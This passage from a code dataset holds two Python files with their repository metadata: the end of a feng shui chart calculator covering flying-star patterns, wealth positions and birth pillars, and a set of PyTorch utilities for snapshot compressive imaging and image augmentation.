tmpxiangshu==self.yun:\n            return True,['双星会坐']\n        else:\n            return False,['无']  \n    def isFufuheshi(self):\n\n        tmppan=deepcopy(self.pan)        \n        tmppan['山盘数']=self.pan['山盘'].apply(lambda x:shudict[x])\n        tmppan['向盘数']=self.pan['向盘'].apply(lambda x:shudict[x])\n        tmppan['天盘数']=self.pan['天盘'].apply(lambda x:shudict[x])\n        if (tmppan['山盘数']+tmppan['天盘数']==10).all() or (tmppan['山盘数']+tmppan['向盘数']==10).all() or (tmppan['向盘数']+tmppan['天盘数']==10).all():\n            return True,['全局合十']\n        elif tmppan.loc[self.shanshu,'天盘数'].values[0]+tmppan.loc[self.xiangshu,'天盘数'].values[0]==10 and tmppan.loc[self.shanshu,'天盘数'].values[0]+tmppan.loc[self.xiangshu,'天盘数'].values[0]==10 and tmppan.loc[self.shanshu,'天盘数'].values[0]+tmppan.loc[self.xiangshu,'天盘数'].values[0]==10:\n            return True,['对宫合十']\n        else:\n            return False,['无']\n    def isFuyin(self):\n        geju=[]\n        #全局伏吟\n        if self.shanshu=='五' and (self.pan['山盘']==self.pan['地盘']).any() and self.shanshunni=='顺':\n            geju.extend(['山星伏吟'])\n        elif self.shanshu=='五' and (self.pan['向盘']==self.pan['地盘']).any() and self.xiangshunni=='顺':\n            geju.extend(['向星伏吟'])\n        #单宫伏吟\n        shandanyin=self.pan[(self.pan['山盘']==self.pan['地盘'])|(self.pan['山盘']==self.pan['地盘'])]\n        xiangdanyin=self.pan[(self.pan['向盘']==self.pan['地盘'])|(self.pan['向盘']==self.pan['地盘'])]\n        shandanyin=shandanyin.dropna(axis=0)\n        xiangdanyin=xiangdanyin.dropna(axis=0)\n        if not shandanyin.empty:\n            geju.extend(['伏吟在山，宫位在'+''.join(shandanyin.index.get_level_values('八卦').tolist())])\n        elif not xiangdanyin.empty:\n            geju.extend(['伏吟在向，宫位在'+''.join(xiangdanyin.index.get_level_values('八卦').tolist())])            \n        if geju:\n            return True,geju\n        else:\n            return False,['无']\n    def isFanyin(self):\n        geju=[]\n        #全局反吟\n        if self.shanshu=='五' and (self.pan['山盘']==self.pan['地盘']).any() and self.shanshunni=='逆':\n            geju.extend(['山星伏吟'])\n        elif self.shanshu=='五' and (self.pan['向盘']==self.pan['地盘']).any() and self.xiangshunni=='逆':\n            geju.extend(['向星伏吟'])\n        #单宫反吟，注意与单宫伏吟规则不同\n        tmppan=deepcopy(self.pan)        \n        tmppan['山盘数']=self.pan['山盘'].apply(lambda x:shudict[x])\n        tmppan['向盘数']=self.pan['向盘'].apply(lambda x:shudict[x])\n        tmppan['地盘数']=self.pan['地盘'].apply(lambda x:shudict[x])\n        tmppan['山地合十']=tmppan['山盘数']+tmppan['地盘数']\n        tmppan['向地合十']=tmppan['向盘数']+tmppan['地盘数']\n\n        shandanyin=tmppan[tmppan['山地合十']==10]\n        xiangdanyin=tmppan[tmppan['向地合十']==10]\n        shandanyin=shandanyin.dropna(axis=0)\n        xiangdanyin=xiangdanyin.dropna(axis=0)\n        if not shandanyin.empty:\n            geju.extend(['反吟在山，宫位在'+''.join(shandanyin.index.get_level_values('八卦').tolist())])\n        elif not xiangdanyin.empty:\n            geju.extend(['反吟在向，宫位在'+''.join(xiangdanyin.index.get_level_values('八卦').tolist())])            \n        if geju:\n            return True,geju\n        else:\n            return False,['无']\n    def isJianfufanyin(self):\n        if self.isjian and self.yun=='五':\n            if self.zuo+self.xiang in '乾巽 巽乾 亥巳 巳亥 辰戌 戌辰'.split():\n                return True,['替卦反伏吟']\n            else:\n                return False,['无']\n        else:\n            return False,['无']        \n    def isLianzhusanban(self):\n        lianzhu=sorted([shudict[self.yun],shudict[self.shanshu],shudict[self.xiangshu]])\n        if lianzhu[1]-lianzhu[0]==1 and lianzhu[2]-lianzhu[1]==1:\n            return True,['连珠三般']\n        else:\n            return False,['无']\n    def isFumusanban(self):\n        lianzhu=sorted([shudict[self.yun],shudict[self.shanshu],shudict[self.xiangshu]])\n        if lianzhu[1]-lianzhu[0]==3 and lianzhu[2]-lianzhu[1]==3:\n            return True,['父母三般']\n        else:\n            return False,['无']\n    def isLigongdajie(self,shanbagua,xiangbagua):\n        tmpxiangshu=self.getBybagua(xiangbagua)['向盘'].values[0]        \n        xiangsanban=bool()\n        shansanban=bool()\n        if tmpxiangshu==self.yun:\n            qianxiang=self.getBybagua('乾')['向盘'].values[0]\n            lixiang=self.getBybagua('离')['向盘'].values[0]\n            zhenxiang=self.getBybagua('震')['向盘'].values[0]\n            xianglianzhu=sorted([shudict[qianxiang],shudict[lixiang],shudict[zhenxiang]])\n            if xianglianzhu[1]-xianglianzhu[0]==3 and xianglianzhu[2]-xianglianzhu[1]==3:\n                xiangsanban=True\n            qianshan=self.getBybagua('乾')['山盘'].values[0]\n            lishan=self.getBybagua('离')['山盘'].values[0]\n            zhenshan=self.getBybagua('震')['山盘'].values[0]\n            shanlianzhu=sorted([shudict[qianshan],shudict[lishan],shudict[zhenshan]])\n            if shanlianzhu[1]-shanlianzhu[0]==3 and shanlianzhu[2]-shanlianzhu[1]==3:\n                shansanban=True\n            if xiangsanban and shansanban and xianglianzhu==shanlianzhu:\n                return True,['离宫打劫']\n            else:\n                return False,['无']\n        else:\n            return False,['无']\n    def isKangongdajie(self,shanbagua,xiangbagua):\n        tmpxiangshu=self.getBybagua(xiangbagua)['向盘'].values[0]\n        xiangsanban=bool()\n        shansanban=bool()\n        if tmpxiangshu==self.yun:\n            qianxiang=self.getBybagua('巽')['向盘'].values[0]\n            lixiang=self.getBybagua('坎')['向盘'].values[0]\n            zhenxiang=self.getBybagua('兑')['向盘'].values[0]\n            xianglianzhu=sorted([shudict[qianxiang],shudict[lixiang],shudict[zhenxiang]])\n            if xianglianzhu[1]-xianglianzhu[0]==3 and xianglianzhu[2]-xianglianzhu[1]==3:\n                xiangsanban=True\n            qianshan=self.getBybagua('巽')['山盘'].values[0]\n            lishan=self.getBybagua('坎')['山盘'].values[0]\n            zhenshan=self.getBybagua('兑')['山盘'].values[0]\n            shanlianzhu=sorted([shudict[qianshan],shudict[lishan],shudict[zhenshan]])\n            if shanlianzhu[1]-shanlianzhu[0]==3 and shanlianzhu[2]-shanlianzhu[1]==3:\n                shansanban=True\n            if xiangsanban and shansanban and xianglianzhu==shanlianzhu:\n                return True,['坎宫打劫']\n            else:\n                return False,['无']\n        else:\n            return False,['无']\n    def isRuqiushan(self):\n        if self.yun!='五':\n            if not self.isjian:\n                if shudict[self.yun]+1==shudict[self.shanshu]:\n                    return True\n                else:\n                    return False\n            else:\n                if shudict[self.yun]==shudict[self.shanshu]:\n                    return True\n                else:\n                    return False            \n    def isRuqiuxiang(self):\n        if self.yun!='五':\n            if not self.isjian:\n                if shudict[self.yun]+1==shudict[self.xiangshu]:\n                    return True\n                else:\n                    return False\n            else:\n                if shudict[self.yun]==shudict[self.xiangshu]:\n                    return True\n                else:\n                    return False            \n    def getWenchangwei(self):\n        tmppan=deepcopy(self.pan)\n        tmppan=tmppan[['天盘','山盘','向盘']]\n        tmppan['三盘数']=tmppan['天盘']+tmppan['山盘']+tmppan['向盘']\n        tmppan=tmppan[tmppan['三盘数'].str.contains('一四')|tmppan['三盘数'].str.contains('四一')]\n        tmppan=tmppan.dropna()\n        words=[]\n        if not tmppan.empty:\n            words=''.join(tmppan.index.get_level_values('八卦').tolist())\n        if words:\n            if '巽' in words:\n                return words\n            else:\n                return '巽'+words\n        else:\n            return '巽'\n\n    def getCaiwei(self):\n        shengwang=[v[0] for k,v in self.xingyun.items() if k in ['生','旺']]\n        cond1=self.pan['向盘'].isin(shengwang)\n        \n        tmp=self.pan['向盘'][cond1]\n        tmp=self.pan.loc[tmp.index,['天盘','山盘','向盘']]\n        tmp['山向']=tmp['山盘']+tmp['向盘']\n        tmp['山向list']=tmp['山向'].apply(lambda x:list(x))\n        caiweizuhe['组合list']=caiweizuhe['组合'].apply(lambda x:list(x))\n        caiwei=[]\n        zuhe=[]\n        for k,v in tmp['山向list'].iteritems():\n            if v in caiweizuhe['组合list'].tolist():\n                caiwei.extend(k[1])\n                if v[0]+v[1] in caiweizuhe['组合'].tolist():\n                    zuhe.extend(caiweizuhe[caiweizuhe['组合']==v[0]+v[1]]['解释'])\n                else:\n                    zuhe.extend(caiweizuhe[caiweizuhe['组合']==v[1]+v[0]]['解释'])\n        \n        if caiwei:\n            total=zip(caiwei,zuhe)\n            words=[i[0]+'，'+i[1] for i in total]\n            return ';'.join(words)\n        else:\n            caiwei=[i[1] for i in tmp.index.values]\n            return '、'.join(caiwei)+'，但财位相对强度弱'\n        \n\n    def isGeju(self,*args):\n        if args[0][0]:\n            self.geju.extend(args[0][1])\n    def getGeju(self):\n        shanbagua=self.getShanxianglocation(self.zuo)\n        xiangbagua=self.getShanxianglocation(self.xiang)\n        self.isGeju(self.isWangshanWangshui(shanbagua,xiangbagua))\n        self.isGeju(self.isShangshanxiashui(shanbagua,xiangbagua))\n        self.isGeju(self.isShuangxinghuixiang(shanbagua,xiangbagua))\n        self.isGeju(self.isShuangxinghuizuo(shanbagua,xiangbagua))\n        self.isGeju(self.isFufuheshi())\n        self.isGeju(self.isFuyin())\n        self.isGeju(self.isFanyin())\n        self.isGeju(self.isJianfufanyin())\n        self.isGeju(self.isLigongdajie(shanbagua,xiangbagua))\n        self.isGeju(self.isKangongdajie(shanbagua,xiangbagua))\n    def getLiunianyun(self,liunian):\n            for i in range(9):\n                if liunian>=yuanyun.loc[i,'起始'] and liunian<=yuanyun.loc[i,'终止']:\n                    return yuanyun.loc[i,'运']         \n    def getLiunianfeixing(self):\n        return self.feixing_notpan('流年紫白飞星',nianzb.loc[c.get_cycle_ymd(dt.datetime(self.liunian,4,1))[0],self.liunianyun].values[0],'顺')\n    def getSanshen(self):\n        zheng=self.yun\n        ling=zidict[10-shudict[zheng]]\n        zhao1,zhao2=jiu.shun(ling,2),jiu.ni(ling,2)\n        return zheng,ling,(zhao1,zhao2)\n    def getShengkebi(self,zhu,ke):\n        if shengke.loc[zhu,'生']==ke:\n            return '生入'\n        elif shengke.loc[zhu,'克']==ke:\n            return '克入'        \n        elif shengke.loc[ke,'生']==zhu:\n            return '生出'\n        elif shengke.loc[ke,'克']==zhu:\n            return '克出'\n        elif zhu==ke:\n            return '比'\n    def getXingshengkebi(self,zhuxing,kexing):\n        zhu=gonggua.loc[zhuxing,'五行']\n        ke=gonggua.loc[kexing,'五行']\n        skb=self.getShengkebi(zhu,ke)\n        return zhu,ke,skb\n\n\nclass People():\n    def __init__(self,name,gender,year,month,day,hour=0):\n        \n        self.name=name\n        self.gender=gender\n        self.birthday=c.get_cycle_ymd(dt.datetime(year,month,day))        \n        tmpbirthday=c.get_cycle_ymd(dt.datetime(year,1,1))\n        if tmpbirthday==self.birthday[0]:\n            for i in [0,3,6]:\n                if year-1>=yuanyun.loc[i,'起始'] and year-1<=yuanyun.loc[i+2,'终止']:\n                    self.yuan=yuanyun.loc[i,'元']\n        else:\n            for i in [0,3,6]:\n                if year>=yuanyun.loc[i,'起始'] and year<=yuanyun.loc[i+2,'终止']:\n                    self.yuan=yuanyun.loc[i,'元']            \n        self.minggua=self.getBazhai()\n        self.birthdayfull=self.getbirthday(year,month,day,hour,'阳历')\n        self.sizhu=self.get_sizhu(self.birthdayfull)\n\n    def getBazhai(self):\n        mingguadict=dict.fromkeys('命卦 配卦 阴阳方 八宅星 化权 化科 化吉 化凶'.split())\n        mingguadict['命卦']=minggua.loc[self.yuan,self.birthday[0]][self.gender]\n        if mingguadict['命卦'] in '坎离震巽'.split():\n            mingguadict['配卦']='东四命'\n            mingguadict['阴阳方']='乾坎艮震'\n        else:\n            mingguadict['配卦']='西四命'\n            mingguadict['阴阳方']='巽离坤兑'\n        mingguadict['八宅星']=bazhai.loc[mingguadict['命卦']]\n        mingguadict['化权']=mingguadict['八宅星'][mingguadict['八宅星']=='延年'].dropna().index.values[0]\n        mingguadict['化科']=mingguadict['八宅星'][mingguadict['八宅星']=='天医'].dropna().index.values[0]\n        mingguadict['化吉']=mingguadict['八宅星'][mingguadict['八宅星'].isin(['生气','延年','天医'])].dropna().index.values.tolist()\n        mingguadict['化凶']=mingguadict['八宅星'][mingguadict['八宅星'].isin(['伏位','五鬼','六煞','绝命','祸害'])].dropna().index.values.tolist()\n        \n        return mingguadict\n\n\n    def getbirthday(self,year,month,day,hour,birthdaytype):\n    \n        f=open(datafolder+'万年历.txt')\n        cal=pd.read_csv(f,header=0,index_col=0,encoding='utf-8')\n        if birthdaytype=='阳历':\n            l=cal.loc[dt.date(year,month,day).strftime('%Y-%m-%d')]\n            \n            return {'阳历':dt.datetime(year,month,day,hour),\\\n                    '阴历':{'生日':[l[0],l[1],l[2],hour]}\n                    }\n        elif birthdaytype=='阴历':\n    \n            l=LunarDate(year,month,day,isLeapMonth).toSolarDate()\n            return {'阳历':dt.datetime(l[0],l[1],l[2],hour),\\\n                    '阴历':{'生日':[year,month,day,hour]}\n                    }\n\n    def get_sizhu(self,t):\n        yanli=t['阳历']\n        year_zhu,month_zhu,day_zhu=c.get_cycle_ymd(yanli)\n        yinli=t['阴历']['生日']\n        year_zhu=c.get_cycle_year(yinli[0])\n        '''\n        month_tg=2*tiangan2numDict[year_zhu[0]]+yint.month\n        if month_tg<=10:\n                t_tg=num2tianganDict[month_tg]\n            else:\n                t_tg=num2tianganDict[month_tg%10]\n        month_dz=num2numDict[yint.month]\n        '''\n        t_dz=num2dizhiDict[math.ceil(yinli[3]/2)+1]\n        tmp=math.ceil(yinli[3]/2)+tiangan2numDict[day_zhu[0]]*2-1\n    \n        t_tg=num2tianganDict[self.TianganCycleCheck(tmp)]\n        return [year_zhu,month_zhu,day_zhu,t_tg+t_dz]\n    \n    def TianganCycleCheck(self,num):\n        if num==10:\n            return 10\n        elif num%10==0:\n            return 10\n        elif num<10 and num>0:\n            return num\n        elif num<0 and num>-10:\n            return num+10\n        elif num<-10 and num>-20:\n            return num+20\n        else:\n            return num%10\n        \n    def sizhuwuxing(self):\n        swxdict=dict()\n        index='年月日时'\n        for i,item in enumerate(self.sizhu):\n            swxdict.update({index[i]:{'天干':tianganexcel.loc[item[0],'五行'],'地支':dizhiexcel.loc[item[1],'五行']}})\n        swxdf=pd.DataFrame.from_dict(swxdict,orient='index')\n        wxdict=dict.fromkeys(list('木火土金水'))\n        values=swxdf.values.reshape(1,-1).tolist()[0]\n        wxdict['木']=values.count('木')\n        wxdict['火']=values.count('火')\n        wxdict['土']=values.count('土')\n        wxdict['金']=values.count('金')\n        wxdict['水']=values.count('水')\n        wxser=pd.Series(wxdict)\n        wxser.sort_values(inplace=True)\n        if wxser.iloc[0:4].sum()==0:\n            return wxser.index[0],wxser.index[1],wxser.index[2],wxser.index[3]\n        elif wxser.iloc[0:3].sum()==0:\n            return wxser.index[0],wxser.index[1],wxser.index[2]\n        elif wxser.iloc[0:2].sum()==0:\n            return wxser.index[0],wxser.index[1]\n        else:\n            return wxser.index[0]\n        \nif __name__=='__main__':\n    #l=Location(35)\n    #print(l.zuo,l.xiang,l.jianzuo,l.jianxiang)\n    #a=House(1963,2013,'坤','艮')\n    #a=House(2004,2013,'乙','辛')\n    #print(a.pan['生旺'],a.xingyun)\n\n    b=People('xx','男',1985,10,2,14)\n    b.sizhuwuxing()\n    #print(b.birthday,b.yuan,b.minggua)\n    #a.getFigure()", "repo_name": "funfwo/Fengshui", "sub_path": "paipan.py", "file_name": "paipan.py", "file_ext": "py", "file_size_in_byte": 24994, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "eacal.EACal", "line_number": 18, "usage_type": "call"}, {"api_name": "collections.OrderedDict.fromkeys", "line_number": 100, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 100, "usage_type": "name"}, {"api_name": "collections.OrderedDict.fromkeys", "line_number": 107, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 107, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 431, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 460, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 461, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 497, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 499, "usage_type": "call"}, {"api_name": "lunardate.LunarDate", "line_number": 504, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 505, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 522, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 523, "usage_type": "call"}]}
{"seq_id": "30987951854", "text": "import math\nimport cv2\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport torch.nn.init as init\nfrom random import choices\nfrom skimage.measure.simple_metrics import compare_psnr\n\n\ndef weights_init_kaiming(m):\n    classname = m.__class__.__name__\n    if classname.find('Conv') != -1:\n        nn.init.kaiming_normal_(m.weight.data, a=0, mode='fan_in')\n    elif classname.find('Linear') != -1:\n        nn.init.kaiming_normal_(m.weight.data, a=0, mode='fan_in')\n    elif classname.find('BatchNorm') != -1:\n        # nn.init.uniform(m.weight.data, 1.0, 0.02)\n        m.weight.data.normal_(mean=0, std=math.sqrt(2. / 9. / 64.)).clamp_(-0.025, 0.025)\n        nn.init.constant_(m.bias.data, 0.0)\n\n\ndef batch_PSNR(img, imclean, data_range):\n    Img = img.data.cpu().numpy().astype(np.float32)\n    Iclean = imclean.data.cpu().numpy().astype(np.float32)\n    PSNR = 0\n    for i in range(Img.shape[0]):\n        PSNR += compare_psnr(Iclean[i, :, :, :], Img[i, :, :, :], data_range=data_range)\n    return (PSNR / Img.shape[0])\n\n\ndef data_augmentation(image, mode):\n    out = np.transpose(image, (1, 2, 0))\n    if mode == 0:\n        # original\n        out = out\n    elif mode == 1:\n        # flip up and down\n        out = np.flipud(out)\n    elif mode == 2:\n        # rotate counterwise 90 degree\n        out = np.rot90(out)\n    elif mode == 3:\n        # rotate 90 degree and flip up and down\n        out = np.rot90(out)\n        out = np.flipud(out)\n    elif mode == 4:\n        # rotate 180 degree\n        out = np.rot90(out, k=2)\n    elif mode == 5:\n        # rotate 180 degree and flip\n        out = np.rot90(out, k=2)\n        out = np.flipud(out)\n    elif mode == 6:\n        # rotate 270 degree\n        out = np.rot90(out, k=3)\n    elif mode == 7:\n        # rotate 270 degree and flip\n        out = np.rot90(out, k=3)\n        out = np.flipud(out)\n    return np.transpose(out, (2, 0, 1))\n\n\ndef A_operator(z, Phi):\n    y = torch.sum(Phi * z, 1, keepdim=True)\n    return y\n\n\ndef At_operator(z, Phi):\n    y = z * Phi\n    return y\n\ndef shift_back(inputs, step):\n    # torch.Size([1, 28, 1, 128, 155])\n    d0, d1, d2, d3, d4 = inputs.shape\n    for i in range(d1):\n        inputs[:, i, :, :, :] = torch.roll(inputs[:, i, :, :, :], (-1)*step*i, dims=1)\n    output = inputs[:, :, :, :, 0:d4-step*(d1-1)]\n    return output\n\ndef shift(inputs, step):\n    d0, d1, d2, d3, d4 = inputs.shape\n    output = torch.zeros(d0, d1, d2, d3, d4+(d1-1)*step).to(inputs.device)\n    for i in range(d1):\n        output[:, i, :, :, i*step:i*step+d4] = inputs[:, i, :, :, :]\n    return output\n\ndef initialize_weights(net_l, scale=1):\n    if not isinstance(net_l, list):\n        net_l = [net_l]\n    for net in net_l:\n        for m in net.modules():\n            if isinstance(m, nn.Conv2d):\n                init.kaiming_normal_(m.weight, a=0, mode='fan_in')\n                m.weight.data *= scale\n                if m.bias is not None:\n                    m.bias.data.zero_()\n            elif isinstance(m, nn.Linear):\n                init.kaiming_normal_(m.weight, a=0, mode='fan_in')\n                m.weight.data *= scale\n                if m.bias is not None:\n                    m.bias.data.zero_()\n            elif isinstance(m, nn.BatchNorm2d):\n                init.constant_(m.weight, 1)\n                init.constant_(m.bias.data, 0.0)\n\n\ndef pack_gbrg_raw(raw):\n    # pack GBRG Bayer raw to 4 channels\n    black_level = 240\n    white_level = 2 ** 12 - 1\n    im = raw.astype(np.float32)  # (1080, 1920)\n    im = np.maximum(im - black_level, 0) / (white_level - black_level)\n\n    im = np.expand_dims(im, axis=2)  # (1080, 1920, 1)\n    img_shape = im.shape\n    H = img_shape[0]\n    W = img_shape[1]\n\n    out = np.concatenate((im[1:H:2, 0:W:2, :],  # B\n                          im[1:H:2, 1:W:2, :],  # G\n                          im[0:H:2, 1:W:2, :],  # R\n                          im[0:H:2, 0:W:2, :]), axis=2)  # (540, 960, 4) #G\n    return out\n\n\ndef variable_to_cv2_image(invar, conv_rgb_to_bgr=True):\n    r\"\"\"Converts a torch.autograd.Variable to an OpenCV image\n\n    Args:\n        invar: a torch.autograd.Variable\n        conv_rgb_to_bgr: boolean. If True, convert output image from RGB to BGR color space\n    Returns:\n        a HxWxC uint8 image\n    \"\"\"\n    assert torch.max(invar) <= 1.0\n\n    size4 = len(invar.size()) == 4\n    if size4:\n        nchannels = invar.size()[1]\n    else:\n        nchannels = invar.size()[0]\n\n    if nchannels == 1:\n        if size4:\n            res = invar.data.cpu().numpy()[0, 0, :]\n        else:\n            res = invar.data.cpu().numpy()[0, :]\n        res = (res * 255.).clip(0, 255).astype(np.uint8)\n    elif nchannels == 3:\n        if size4:\n            res = invar.data.cpu().numpy()[0]\n        else:\n            res = invar.data.cpu().numpy()\n        res = res.transpose(1, 2, 0)\n        res = (res * 255.).clip(0, 255).astype(np.uint8)\n        if conv_rgb_to_bgr:\n            res = cv2.cvtColor(res, cv2.COLOR_RGB2BGR)\n    else:\n        raise Exception('Number of color channels not supported')\n    return res\n\n\ndef normalize(data):\n    r\"\"\"Normalizes a unit8 image to a float32 image in the range [0, 1]\n\n    Args:\n        data: a unint8 numpy array to normalize from [0, 255] to [0, 1]\n    \"\"\"\n    return np.float32(data / 255.)\n\n\ndef toggle_grad(model, requires_grad):\n    for p in model.parameters():\n        p.requires_grad_(requires_grad)\n\n\ndef compute_loss(d_out, target):\n    targets = d_out.new_full(size=d_out.size(), fill_value=target)\n    loss = F.binary_cross_entropy_with_logits(d_out, targets)\n\n    return loss\n\n\ndef rgb2ycbcr(rgb):\n    img_r = rgb[:, :, 0, :, :]\n    img_g = rgb[:, :, 1, :, :]\n    img_b = rgb[:, :, 2, :, :]\n    arr = 0.256789 * img_r + 0.504129 * img_g + 0.097906 * img_b + 16 / 255.  # torch.Size([8, 1080, 1920])\n    # arr[:, 0, :, :] = 0.256789 * img_r + 0.504129 * img_g + 0.097906 * img_b + 16/255.\n    # arr[:, 1, :, :] = -0.148223 * img_r - 0.290992 * img_g + 0.439215 * img_b + 128/255.\n    # arr[:, 2, :, :] = 0.439215 * img_r - 0.367789 * img_g - 0.071426 * img_b + 128/255.\n    return arr[:, :, None]\n\n\ndef normalize_augment(datain):\n    '''Normalizes and augments an input patch of dim [N, num_frames, C. H, W] in [0., 255.] to \\\n        [N, num_frames*C. H, W] in  [0., 1.]. It also returns the central frame of the temporal \\\n        patch as a ground truth.\n    '''\n\n    def transform(sample):\n        # define transformations\n        do_nothing = lambda x: x\n        do_nothing.__name__ = 'do_nothing'\n        flipud = lambda x: torch.flip(x, dims=[2])\n        flipud.__name__ = 'flipup'\n        rot90 = lambda x: torch.rot90(x, k=1, dims=[2, 3])\n        rot90.__name__ = 'rot90'\n        rot90_flipud = lambda x: torch.flip(torch.rot90(x, k=1, dims=[2, 3]), dims=[2])\n        rot90_flipud.__name__ = 'rot90_flipud'\n        rot180 = lambda x: torch.rot90(x, k=2, dims=[2, 3])\n        rot180.__name__ = 'rot180'\n        rot180_flipud = lambda x: torch.flip(torch.rot90(x, k=2, dims=[2, 3]), dims=[2])\n        rot180_flipud.__name__ = 'rot180_flipud'\n        rot270 = lambda x: torch.rot90(x, k=3, dims=[2, 3])\n        rot270.__name__ = 'rot270'\n        rot270_flipud = lambda x: torch.flip(torch.rot90(x, k=3, dims=[2, 3]), dims=[2])\n        rot270_flipud.__name__ = 'rot270_flipud'\n        add_csnt = lambda x: x + torch.normal(mean=torch.zeros(x.size()[0], 1, 1, 1), \\\n                                              std=(5 / 255.)).expand_as(x).to(x.device)\n        add_csnt.__name__ = 'add_csnt'\n\n        # define transformations and their frequency, then pick one.\n        aug_list = [do_nothing, flipud, rot90, rot90_flipud, \\\n                    rot180, rot180_flipud, rot270, rot270_flipud, add_csnt]\n        w_aug = [32, 12, 12, 12, 12, 12, 12, 12, 12]  # one fourth chances to do_nothing\n        transf = choices(aug_list, w_aug)\n\n        # transform all images in array\n        return transf[0](sample)\n\n    img_train = datain\n    # convert to [N, num_frames*C. H, W] in  [0., 1.] from [N, num_frames, C. H, W] in [0., 255.]\n    img_train = img_train.view(img_train.size()[0], -1, img_train.size()[-2], img_train.size()[-1]) / 255.\n\n    # augment\n    img_train = transform(img_train)\n\n\n    return img_train\n", "repo_name": "jianzhangcs/SCI3D", "sub_path": "sci_utilities.py", "file_name": "sci_utilities.py", "file_ext": "py", "file_size_in_byte": 8213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 25, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.nn.init.kaiming_normal_", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.init.constant_", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 26, "usage_type": "attribute"}, {"api_name": "skimage.measure.simple_metrics.compare_psnr", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.rot90", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.roll", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 95, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 104, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 105, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 113, "usage_type": "attribute"}, {"api_name": "numpy.maximum", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 150, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 157, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 159, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 159, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.nn.functional.binary_cross_entropy_with_logits", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 181, "usage_type": "name"}, {"api_name": "torch.flip", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.rot90", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.flip", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.rot90", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.rot90", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.flip", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.rot90", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.rot90", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.flip", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.rot90", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.normal", "line_number": 221, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 221, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 229, "usage_type": 